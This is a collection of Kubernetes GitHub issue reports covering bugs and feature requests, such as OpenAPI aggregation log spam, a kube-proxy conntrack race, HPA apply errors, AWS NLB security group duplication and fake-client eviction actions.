what happened  :\r   set up an apiservice object pointing to a service that does not service openapi\r \r   what you expected to happen  :\r   aggregation would attempt to aggregate, fail, and back off\r \r   how to reproduce it  as minimally and precisely as possible   :\r   openapi aggregation logs continuously\r \r    \r i0327 11:55:10.189316   85215 controller.go:121  openapi aggregationcontroller: action for item v1.mygroup.io: rate limited requeue.\r i0327 11:55:10.822051   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000002\r i0327 11:55:10.822313   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000001\r i0327 11:55:11.822912   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000002\r i0327 11:55:11.823084   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000001\r i0327 11:55:12.636016   85215 wrap.go:47  get /api/v1/namespaces/default:  1.297937ms  200  hyperkube/v1.15.0  darwin/amd64  kubernetes/d965985  ::1 :60253 \r i0327 11:55:12.637461   85215 wrap.go:47  get /api/v1/namespaces/default/services/kubernetes:  857.827µs  200  hyperkube/v1.15.0  darwin/amd64  kubernetes/d965985  ::1 :60253 \r i0327 11:55:12.653845   85215 wrap.go:47  get /api/v1/namespaces/default/endpoints/kubernetes:  5.361166ms  200  hyperkube/v1.15.0  darwin/amd64  kubernetes/d965985  ::1 :60253 \r i0327 11:55:12.823869   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000002\r i0327 11:55:12.824127   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000001\r i0327 11:55:13.827326   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000002\r i0327 11:55:13.827453   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000001\r i0327 11:55:14.830358   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000002\r i0327 11:55:14.830565   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000001\r i0327 11:55:15.216260   85215 wrap.go:47  get /apis/batch/v1/jobs?limit=500:  1.491569ms  200  hyperkube/v1.15.0  darwin/amd64  kubernetes/d965985/system:serviceaccount:kube-system:cronjob-controller  ::1 :60288 \r i0327 11:55:15.217589   85215 wrap.go:47  get /apis/batch/v1beta1/cronjobs?limit=500:  828.478µs  200  hyperkube/v1.15.0  darwin/amd64  kubernetes/d965985/system:serviceaccount:kube-system:cronjob-controller  ::1 :60288 \r i0327 11:55:15.833753   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000002\r i0327 11:55:15.833891   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000001\r i0327 11:55:16.834057   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000002\r i0327 11:55:16.834240   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000001\r i0327 11:55:17.835149   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000002\r i0327 11:55:17.835316   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000001\r i0327 11:55:18.840361   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000002\r i0327 11:55:18.840631   85215 controller.go:102  openapi aggregationcontroller: processing item k8s_internal_local_delegation_chain_0000000001\r    \r \r  /cc @sttts @roycaihw

we have no real process for versioning, documenting, and pushing all the myriad containers we use for testing and other things.

gce pd attach/detach logic uses the  pkg/util/keymutex/keymutex.go  package to keep track of which pd attach/detaches are in progress. the underlying map grows indefinitely as the kubelet encounters more and more unique pds  until kubelet binary is restarted .  although in practice this is unlikely to be an issue unless someone is attaching/detaching millions of unique pds  which is unlikely since they'd probably hit gce quota issues first . we should still implement some sort of garbage collection to prune values that are not needed overtime.

release 1.2.0 1.3.0 package kubernetes.tar.gz has no directory of saltbase, which cause kube-up.sh run exit silently , and install failed.  platform ubuntu 14.04 1. cluster/ubuntu/util.sh  has  set -e flag, so util.sh exit 的silent 2.  saltbase directory not found      scp -r $ssh_opts \\       saltbase/salt/generate-cert/make-ca-cert.sh \\        easy-rsa.tar.gz \\         \ ${kube_config_file}\  \\         ubuntu/util.sh \\         ubuntu/minion/\\  \\         ubuntu/master/\\  \\        ubuntu/reconfdocker.sh \\         ubuntu/binaries/master/ \\         ubuntu/binaries/minion \\        \ ${master}:~/kube\     result saltbase/salt/generate-cert/make-ca-cert.sh: no such file or directory   easy-rsa.tar.gz                                                                                                                                                100%   42kb  42.4kb/s   00:00   config-default.sh                                                                                                                                                   100% 5233     5.1kb/s   00:00   util.sh                                                                                                                                                           100%   28kb  28.4kb/s   00:00

controller.requeue    https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/framework/controller.go l112-l119  was designed to expedite reprocessing, or delay processing. however, it has a race that: - the item has been deleted in store. - when requeue  , the deltafifo didn't contain the event, so it will just go queue a sync - controller will process sync event and add the item.  for the solution, i would suggest removing requeue   and make informer readonly. for delay processing, users should do retry outside informer and we can provide a common routine to do that. of course, i would like to listen and understand more use cases of requeue  .

kubectl delete all -lapp=nginx service \ nginx\  deleted pod \ web-0\  deleted pod \ web-1\  deleted persistentvolumeclaim \ www-web-0\  deleted persistentvolumeclaim \ www-web-1\  deleted      note that all resources got deleted above except petsets  now again i delete petsets specifically and its gets deleted see below.       kubectl delete petsets -lapp=nginx petset \ web\  deleted      not sure why delete all should behave differentely for just petsets.

what keywords did you search in kubernetes issues before filing this one?   - unable to find api field in struct horizontalpodautoscalerspec for the json field \ scaletargetref\  - horizontalpodautoscaler - scaletargetref  also searched google/stackoverflow  ---    is this a bug report or feature request?   bug report    kubernetes version    use  kubectl version  : v1.4.0    environment  : - gke with kubernetes v1.4.0    what happened  : do  kubectl apply -f my-service.yaml   intermittently, since upgrading to 1.4.0 i have been getting      shell error: error when applying patch:  to: &{0xc8203546c0 0xc8202e3340 default my-service-horizpodautoscaler /my-service/build/k8s/my-service.yaml &horizontalpodautoscaler{objectmeta:k8s_io_kubernetes_pkg_api_v1.objectmeta{name:my-service-horizpodautoscaler,generatename:,namespace:,selflink:,uid:,resourceversion:,generation:0,creationtimestamp:0001-01-01 00:00:00 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{},annotations:map string string{kubectl.kubernetes.io/last-applied-configuration: ,},ownerreferences:  ,finalizers:  ,clustername:,},spec:horizontalpodautoscalerspec{scaletargetref:crossversionobjectreference{kind:deployment,name:my-service-frontend,apiversion:extensions/v1beta1,},minreplicas: 1,maxreplicas:3,targetcpuutilizationpercentage:nil,},status:horizontalpodautoscalerstatus{observedgeneration:nil,lastscaletime:<nil>,currentreplicas:0,desiredreplicas:0,currentcpuutilizationpercentage:nil,},} &typemeta{kind:,apiversion:,} 1537793 false} for: \ /my-service/build/k8s/my-service.yaml\ : error when creating patch with: original: {\ kind\ :\ horizontalpodautoscaler\ ,\ apiversion\ :\ autoscaling/v1\ ,\ metadata\ :{\ name\ :\ my-service-horizpodautoscaler\ ,\ creationtimestamp\ :null},\ spec\ :{\ scaletargetref\ :{\ kind\ :\ deployment\ ,\ name\ :\ my-service-frontend\ ,\ apiversion\ :\ extensions/v1beta1\ },\ minreplicas\ :1,\ maxreplicas\ :3},\ status\ :{\ currentreplicas\ :0,\ desiredreplicas\ :0}} modified: {\ kind\ :\ horizontalpodautoscaler\ ,\ apiversion\ :\ autoscaling/v1\ ,\ metadata\ :{\ name\ :\ my-service-horizpodautoscaler\ ,\ creationtimestamp\ :null,\ annotations\ :{\ kubectl.kubernetes.io/last-applied-configuration\ :\ {\\\ kind\\\ :\\\ horizontalpodautoscaler\\\ ,\\\ apiversion\\\ :\\\ autoscaling/v1\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ my-service-horizpodautoscaler\\\ ,\\\ creationtimestamp\\\ :null},\\\ spec\\\ :{\\\ scaletargetref\\\ :{\\\ kind\\\ :\\\ deployment\\\ ,\\\ name\\\ :\\\ my-service-frontend\\\ ,\\\ apiversion\\\ :\\\ extensions/v1beta1\\\ },\\\ minreplicas\\\ :1,\\\ maxreplicas\\\ :3},\\\ status\\\ :{\\\ currentreplicas\\\ :0,\\\ desiredreplicas\\\ :0}}\ }},\ spec\ :{\ scaletargetref\ :{\ kind\ :\ deployment\ ,\ name\ :\ my-service-frontend\ ,\ apiversion\ :\ extensions/v1beta1\ },\ minreplicas\ :1,\ maxreplicas\ :3},\ status\ :{\ currentreplicas\ :0,\ desiredreplicas\ :0}} current: {\ kind\ :\ horizontalpodautoscaler\ ,\ apiversion\ :\ extensions/v1beta1\ ,\ metadata\ :{\ name\ :\ my-service-horizpodautoscaler\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /apis/autoscaling/v1/namespaces/default/horizontalpodautoscalers/my-service-horizpodautoscaler\ ,\ uid\ :\ redacted-reda-reda-reda-redacted\ ,\ resourceversion\ :\ 1537793\ ,\ creationtimestamp\ :\ 2016-09-28t15:51:27z\ ,\ annotations\ :{\ kubectl.kubernetes.io/last-applied-configuration\ :\ {\\\ kind\\\ :\\\ horizontalpodautoscaler\\\ ,\\\ apiversion\\\ :\\\ autoscaling/v1\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ my-service-horizpodautoscaler\\\ ,\\\ creationtimestamp\\\ :null},\\\ spec\\\ :{\\\ scaletargetref\\\ :{\\\ kind\\\ :\\\ deployment\\\ ,\\\ name\\\ :\\\ my-service-frontend\\\ ,\\\ apiversion\\\ :\\\ extensions/v1beta1\\\ },\\\ minreplicas\\\ :1,\\\ maxreplicas\\\ :3},\\\ status\\\ :{\\\ currentreplicas\\\ :0,\\\ desiredreplicas\\\ :0}}\ }},\ spec\ :{\ scaleref\ :{\ kind\ :\ deployment\ ,\ name\ :\ my-service-frontend\ ,\ apiversion\ :\ extensions/v1beta1\ ,\ subresource\ :\ scale\ },\ minreplicas\ :1,\ maxreplicas\ :3,\ cpuutilization\ :{\ targetpercentage\ :80}},\ status\ :{\ lastscaletime\ :\ 2016-10-08t23:19:12z\ ,\ currentreplicas\ :1,\ desiredreplicas\ :1,\ currentcpuutilizationpercentage\ :0}}  for: \ /my-service/build/k8s/my-service.yaml\ : unable to find api field in struct horizontalpodautoscalerspec for the json field \ scaletargetref\       as you can see, it seems that the \ current\  metadata specifies \ apiversion\  as extensions/v1beta1, that might be correct, but it seems suspicious to me...  i have the feeling it works every second time i do apply, but hard to say from my small sample size.    what you expected to happen  : the apply to work every time.    how to reproduce it    i used this yaml file  cleaned       yaml apiversion: v1 kind: service metadata:   name: my-service   labels:     app: my-service     tier: frontend spec:   type: nodeport   ports:   - name: http8080     protocol: tcp     port: 8080     targetport: 8080   selector:     app: my-service     tier: frontend  --- apiversion: extensions/v1beta1 kind: deployment metadata:   name: my-service-frontend spec:   replicas: 1   template:     metadata:       labels:         app: my-service         tier: frontend     spec:       containers:       - name: my-service         image: eu.gcr.io/my-project/my-service:v0.0.0         env:         - name: my_environment           value: dev         ports:         - containerport: 8080         resources:           requests:             cpu: 100m             memory: 800mi  --- apiversion: autoscaling/v1  i've tried with extensions/v1beta1 and \ scaleref\  below, but that doesn't work properly either  similar error message  kind: horizontalpodautoscaler metadata:   name: my-service-horizpodautoscaler spec:   scaletargetref:     kind: deployment     name: my-service-frontend     apiversion: extensions/v1beta1  i've tried with and without this, makes no difference   minreplicas: 1   maxreplicas: 3        anything else do we need to know  :  get on clusters using https://cloud.google.com/container-engine/reference/rest/v1/projects.zones.clusters/get reveals:      json  ...   \ addonsconfig\ : {   \ httploadbalancing\ : {   },   \ horizontalpodautoscaling\ : {   }  },  ...     \ initialnodecount\ : 1,    \ autoscaling\ : {     \ enabled\ : true,     \ minnodecount\ : 1,     \ maxnodecount\ : 3    },  ...    \ initialclusterversion\ : \ 1.3.6\ ,  \ currentmasterversion\ : \ 1.4.0\ ,  \ currentnodeversion\ : \ 1.4.0\ ,      to solve this i have temporarily moved the hpa section out of the file into a separate file, but i prefer having the complete configuration in one place.  am i doing something wrong?  thanks!

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r kubernetes container cpu metrics  from heapster  do not correlate with container run time  docker  cpu utilization metrics.\r \r   what you expected to happen  :\r \r we recently switched over our production environment to kubernetes. i'd like to enforce cpu limits on the containers. i'm getting conflicting cpu metrics that do not fit together. here's my setup:\r \r   datadog agents running as a  daemonset \r   existing applications running without cpu limits\r   containers in question are multi-threaded ruby applications\r   two metrics:  kubernetes.cpu.usage.{avg,max}  and  docker.cpu.usage \r    c4.xlarge  cluster nodes  4 vcpus or 4000m in kubernetes terms \r \r  kubernetes.cpu.usage.max  reports ~600m for the containers in question.  docker.cpu.usage  reports ~60%. it follows that a 1000m cpu limit would be more than enough capacity under normal operation. \r \r i set the limit to 1000m. then  docker.container.throttles  goes up significantly while  kubernetes.cpu.usage.max  and  docker.cpu.usage  stay the same. the system all fells to it's knees during this time. this does not make sense to me.\r \r i researched docker stats. it seems that  docker stats   and the underlying api  _normalize_ load according to cpu cores. so in my case,  docker.cpu.usage  of 60% comes  4000m   0.60  to 2400m in kubernetes terms. however this does not correlate with any kubernetes numbers. i did another experiment to test my hypothesis that kubernetes numbers are incorrect. i set the limit to 2600m  for some extra headroom . this did not result in any throttles. however kubernetes observed cpu usage did not change. this leaves me confused.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r honestly, i'm not sure if this is a problem with my applications or kubernetes. in theory it should be easy enough to:\r \r 1. start a multi-threaded process  like a ruby web application running puma  on a multi-core machine\r 2. trigger sufficient load\r 3. correlate runtime metrics   docker stats   with kubernetes heapster metrics.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:54:20z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t09:42:05z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r - cloud provider or hardware configuration  : aws  w/ c4.xlarge nodes\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :  linux ip-172-20-53-132 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 gnu/linux \r - install tools: kops 1.6.1\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r   i started a tcp client and server pod in parallel.  \r   the client tries to access the server through a service ip\r   client manages to get its syn packet sent before kube-proxy finishes setting up the nat rules for the service.  \r   the first packet establishes a conntrack entry for the tcp connection but the conntrack entry isn't natted.\r   all subsequent syn retries get blackholed rather than natted.\r   client waits for connection timeout.\r   subsequent tcp connections get natted correctly.\r \r we hit this while testing calico with the k8s e2e's but doing the stop/continue trick with calico to slow down our policy rendering doesn't reproduce the issue; only preventing the nat rule from being in place seems to have an effect:  https://github.com/projectcalico/felix/issues/1490\r \r this issue is closely related, for udp: https://github.com/kubernetes/kubernetes/issues/48370. however, the impact for udp is more severe due to the lack of a connection timeout.\r \r   what you expected to happen  :\r \r ideally, the initial tcp connection should connect as soon as the nat rules are inserted.  failing that, it'd be good to get a timely rejection rather than sending the traffic into a black hole.  \r \r flushing the  tcp  conntrack entries for a service ip as described in https://github.com/kubernetes/kubernetes/issues/48370 may work to fix this.  i also noticed there was an iptables rule that looks like it was designed to help in this case but it only applies in the output chain:  -a kube-services -d 10.102.151.4/32 -p tcp -m comment --comment \ default/nginx: has no endpoints\  -m tcp --dport 80 -j reject --reject-with icmp-port-unreachable .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   send  kube-proxy  a sigstop to pause it\r   create server  e.g. nginx  pod\r   create client  e.g. busybox  pod\r   create service for server pod\r   from client, try to  wget  the server via its service\r   send  kube-proxy  a sigcont\r   should have a conntrack entry with orig src/dst = client/service and reply src/dst = service/client; wget should time out\r   subsequent wget should return quickly\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r - cloud provider or hardware configuration  :  gce\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux smc-ubuntu 4.4.0-78-generic  99-ubuntu smp thu apr 27 15:29:09 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

is this a bug report or feature request?  :\r \r   what happened  :\r now the  k8s.io/kubernetes/pkg/api/v1  and  k8s.io/client-go/pkg/api/v1  has been consistent in  k8s.io/api/core/v1  by pr  44784. there is no need to convert  v1.objectreference to  clientv1.objectreference in  pkg/kubelet/events/event.go  https://github.com/kubernetes/kubernetes/blob/886e04f1fffbb04faf8a9f9ee141143b2684ae68/pkg/kubelet/events/event.go l91-l104 .\r \r   what you expected to happen  :\r remove this function and cleanup the codes which call this function.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r rssbytes reports 0 for non-leaf nodes in cgroup hierarchy.  most notably, machine rss usage shows 0.\r \r    \r $ kubectl get --raw /ap1/v1/nodes/nodename/stats/summary\r ...\r  \ memory\ : {\r     \ time\ : \ 2017-08-23t03:54:39z\ ,\r     \ availablebytes\ : 7255613440,\r     \ usagebytes\ : 15169175552,\r     \ workingsetbytes\ : 13658353664,\r     \ rssbytes\ : 0,\r     \ pagefaults\ : 19837,\r     \ majorpagefaults\ : 9\r    },\r ...\r    \r \r   what you expected to happen  :\r we should show the value in memory.stat total_rss  when hierarchy accounting is enabled.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run kubelet on a machine with hierarchy accounting enabled.\r \r   anything else we need to know?  :\r nope\r \r   environment  :

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r  \r \r   what happened  :\r \r create an nlb service on 1.9 with 2 ports, and get this error:\r \r    \r i1201 15:16:49.358871       5 aws.go:2753  adding security group ingress: sg-f8559f84  {\r   fromport: 30781,\r   ipprotocol: \ tcp\ ,\r   ipranges:  {\r       cidrip: \ 0.0.0.0/0\ ,\r       description: \ kubernetes.io/rule/nlb/client=a788d91b9d6aa11e7b7f806f096e0fe7\ \r     } ,\r   toport: 30781\r } {\r   fromport: 3,\r   ipprotocol: \ icmp\ ,\r   ipranges:  {\r       cidrip: \ 0.0.0.0/0\ ,\r       description: \ kubernetes.io/rule/nlb/mtu=a788d91b9d6aa11e7b7f806f096e0fe7\ \r     } ,\r   toport: 4\r } {\r   fromport: 32363,\r   ipprotocol: \ tcp\ ,\r   ipranges:  {\r       cidrip: \ 0.0.0.0/0\ ,\r       description: \ kubernetes.io/rule/nlb/client=a788d91b9d6aa11e7b7f806f096e0fe7\ \r     } ,\r   toport: 32363\r } {\r   fromport: 3,\r   ipprotocol: \ icmp\ ,\r   ipranges:  {\r       cidrip: \ 0.0.0.0/0\ ,\r       description: \ kubernetes.io/rule/nlb/mtu=a788d91b9d6aa11e7b7f806f096e0fe7\ \r     } ,\r   toport: 4\r } \r w1201 15:16:49.430537       5 aws.go:2760  error authorizing security group ingress \ invalidparametervalue: the same permission must not appear multiple times\ \\tstatus code: 400, request id: a317f99c-6360-4314-a17c-eeeebfbce0ea\ \r    \r \r \r kubernetes is attempting to create the icmp rule for mtu discovery once per port, resulting in an error. creating a service with a single port does not experience this error.\r \r   what you expected to happen  :\r \r the service should be created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a 2 port service in a 1.9 beta cluster.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9 beta1\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : any\r \r ping @alebdf @justinsb \r

is this a bug report or feature request?  : bug report\r \r  \r   what happened  : \r \r i have a deployment with a volume pointing to a pre-existing managed disk. the pod runs and correctly mounts the volume. when i try to delete the deployment, i receive the following validation error:\r \r    \r the deployment \ busybox\  is invalid:\r   spec.template.spec.volumes 0 .azuredisk.diskuri: unsupported value: \ /subscriptions/   /resourcegroups/mc_trash1-aks_destination_eastus/providers/microsoft.compute/disks/source-trash1-eastus-6c1f4fmgmt-dy-pvc-146baa2e-051c-11e8-a3d6-000d3a191f45\ : supported values: https://{account-name}.blob.core.windows.net/{container-name}/{disk-name}.vhd\r   spec.template.spec.containers 0 .volumemounts 0 .name: not found: \ disk1\ \r    \r \r   what you expected to happen  : \r \r i expect the deployment to be deleted\r \r   how to reproduce it  as minimally and precisely as possible   : \r \r   create a managed disk\r   apply the following deployment, replacing the diskname and diskuri with your own\r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: busybox-with-disks\r   name: busybox\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       run: busybox-with-disks\r   template:\r     metadata:\r       labels:\r         run: busybox-with-disks\r     spec:\r       containers:\r       - args:\r         - sleep 60000\r         command:\r         - /bin/sh\r         - -c\r         - --\r         image: busybox\r         name: noel-busybox\r         volumemounts:\r         - mountpath: /data1\r           name: disk1\r       volumes:\r       - name: disk1\r         azuredisk:\r           diskname: source-trash1-eastus-6c1f4fmgmt-dy-pvc-146baa2e-051c-11e8-a3d6-000d3a191f45\r           kind: managed\r           diskuri: /subscriptions/6c1f4f3b-f65f-4667-8f9e-b9c48e09cd6b/resourcegroups/mc_trash1-aks_destination_eastus/providers/microsoft.compute/disks/source-trash1-eastus-6c1f4fmgmt-dy-pvc-146baa2e-051c-11e8-a3d6-000d3a191f45\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7\ , gitcommit:\ 8e1552342355496b62754e61ad5f802a0f3f1fa7\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t23:56:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: azure\r

we should add a watch test that:\r 1. opens a watch\r 2. in a background thread, makes a bunch of random changes\r 3. record the rv from the first item received by the watch.\r 3. for each subsequent item x, open a new watch at the previous rv and verify that the first thing received matches x. record x's rv for the next iteration.\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r i'm trying to test eviction functionality in my program, but running into some inconsistencies around how evictions are handled in the fake simpleclient in the client-go testing functionality. most notably,  client.policyv1beta1  .evictions namespace .evict  creates a different  action  from  client.corev1  .pods namespace .evict , and both are missing information.\r \r  client.policyv1beta1  .evictions namespace .evict  issues a  getaction  with  verb  set to  post   seems to be the only fake that has this mismatch  on the  eviction  subresource of  pods . it is missing all the extra information in the eviction, i.e. the  deleteoptions .\r \r  client.corev1  .pods namespace .evict  issues a  createaction  on the  eviction  subresource of the  pods  resource. this is wrong, because  evictions  aren't created, they're only posted and handled immediately. the action is missing a namespace.\r \r   what you expected to happen  :\r \r i want to be able to add my own reactor to the simpleclient to handle this special case. i propose we change both cases to a  genericaction  with  value  set to the  policy.eviction . this will ensure it's not handled by the current simpleclient objectreaction, and makes it so users can implement whatever they want themselves.\r \r i'd be happy to make a pr with these changes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r package main\r \r import  \r \t\ fmt\ \r \r \tpolicy \ k8s.io/api/policy/v1beta1\ \r \tmeta \ k8s.io/apimachinery/pkg/apis/meta/v1\ \r \t\ k8s.io/client-go/kubernetes/fake\ \r  \r \r func main   {\r \tclient := fake.newsimpleclientset  \r \tclient.corev1  .pods \ default\  .evict &policy.eviction{\r \t\tobjectmeta: meta.objectmeta{\r \t\t\tname: \ pod-1\ ,\r \t\t},\r \t} \r \tclient.policyv1beta1  .evictions \ default\  .evict &policy.eviction{\r \t\tobjectmeta: meta.objectmeta{\r \t\t\tname: \ pod-2\ ,\r \t\t},\r \t} \r \r \tfor _, action := range client.actions   {\r \t\tfmt.printf \ %t%+v\ \ , action, action \r \t}\r }\r    \r \r output:\r \r    \r testing.createactionimpl{actionimpl:{namespace: verb:create resource:/v1, resource=pods subresource:eviction} name: object:&eviction{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:pod-1,generatename:,namespace:,selflink:,uid:,resourceversion:,generation:0,creationtimestamp:0001-01-01 00:00:00 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{},annotations:map string string{},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},deleteoptions:nil,}}\r testing.getactionimpl{actionimpl:{namespace:default verb:post resource:/v1, resource=pods subresource:eviction} name:pod-2}\r    \r \r   environment  :\r git revision of  k8s.io/client-go :  8abb21031259350aad0799bb42ba213ee8bb3399 \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r -kubelet wouldn't start. \r -i looked through the logs, found a strange \ command not found error\ , followed by the name of the config file  /etc/kubernetes/kubeconfig \r here's the offending line:\r kubelet_kubeconfig=/etc/kubernetes/kubelet.kubeconfig\r \r   what you expected to happen  :\r the line should look like this:\r kubelet_kubeconfig=\ --bootstrap-kubeconfig /etc/kubernetes/kubelet.kubeconfig\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r install kubernetes on an arch linux system, i got this error on a fresh install.\r   anything else we need to know?  :\r basically, the default config file is trying to pass in a raw filename as an argument.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , \r gittreestate:\ archive\ , \r builddate:\ 2019-01-17t04:56:36z\ , \r goversion:\ go1.11.4\ , \r compiler:\ gc\ , \r platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r none  local desktop \r - os  e.g. from /etc/os-release :\r name=\ arch linux\ \r pretty_name=\ arch linux\ \r id=arch\r build_id=rolling\r ansi_color=\ 0;36\ \r home_url=\ https://www.archlinux.org/\ \r documentation_url=\ https://wiki.archlinux.org/\ \r support_url=\ https://bbs.archlinux.org/\ \r bug_report_url=\ https://bugs.archlinux.org/\ \r \r - kernel  e.g.  uname -a  :\r linux supercx1 4.19.15-1-lts  1 smp sun jan 13 13:53:52 cet 2019 x86_64 gnu/linux \r - install tools:\r pacaur package manager\r - others:\r \r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r in clusters, we find there are some nodes with low load average, and these nodes' most resource are allocated to pods. it might be caused by:\r \r   pod's request is much bigger than what it needs actually.\r   pod's resource usage has peaks and valleys periodically or irregularly.\r   ...\r \r to balance nodes' load, we could add a scheduler  based on kubelet node load average we could add cpu load first , and prefer to schedule pods to those load average is low according to its weight set by administrator.\r \r to implement this feature, we need 2 steps:\r   report node load average through kubelet heart-beat.\r   add scheduler  for it.\r \r   /assign

hello,  i would like to know how can i limit the minions to connect to the api server.is this something at an etcd level i have to do inorder not to add more values on to the minions key or i need to add some sort of arg when i start the api server.  on the other end would like to know about these args  kube-api server      --max-requests-inflight=400: the maximum number of requests in flight at a given time.  when the server exceeds this, it rejects requests.  zero for no limit.      for this is this something like you are regulating on the requests which happen on the api server some sort of parameter for api server performance?   kubelet       --register-node=true: register the node with the apiserver  defaults to true if --api-server is set       for this if my assumption is not wrong then if i set this arg then when the kublet starts it wont register automatically which the user needs to register manually.      --max-pods=40:number of pods that can run on this kubelet.      can this limitation can be done from the api server level?      --global-housekeeping-interval=1m0s: interval between global housekeepings      do we have any documentation for the housekeeping activities which happen on the minions?  thanks, vamsi

kubelet ci test hit 45 minute timeout of after spendint 35 minutes building the go binaries  > 02:10:14 started by timer > ... > 02:13:43 i0417 02:13:43.341929   17879 e2e_build.go:34  building k8s binaries... > 02:48:23 i0417 02:48:23.986454   17879 e2e_remote.go:57  building ginkgo k8s test binaries... > ... > 02:55:58  > build timed out  after 45 minutes . marking the build as failed.   full log  https://console.cloud.google.com/storage/browser/kubernetes-jenkins/logs/kubelet-gce-e2e-ci/1632

first, move  proposal  https://github.com/kubernetes/kubernetes/pull/16933  to a design doc and update to describe what was done in the  current implementation  https://github.com/kubernetes/kubernetes/pull/23549 .  then rewrite the controllers to know how to act-as a certain user.  need to decide what user the controllers act as.  the user that the controller should act as _could_ be the default service account, but in general this user needs more power than the service account that is automatically added to the pods.  so, each namespace probably needs at least two types of default service accounts: one that can make pods in that namespace, etc, and one that is the default for the containers themselves, with less privileges by default.  need to make all this the default and have it be part of all e2es.

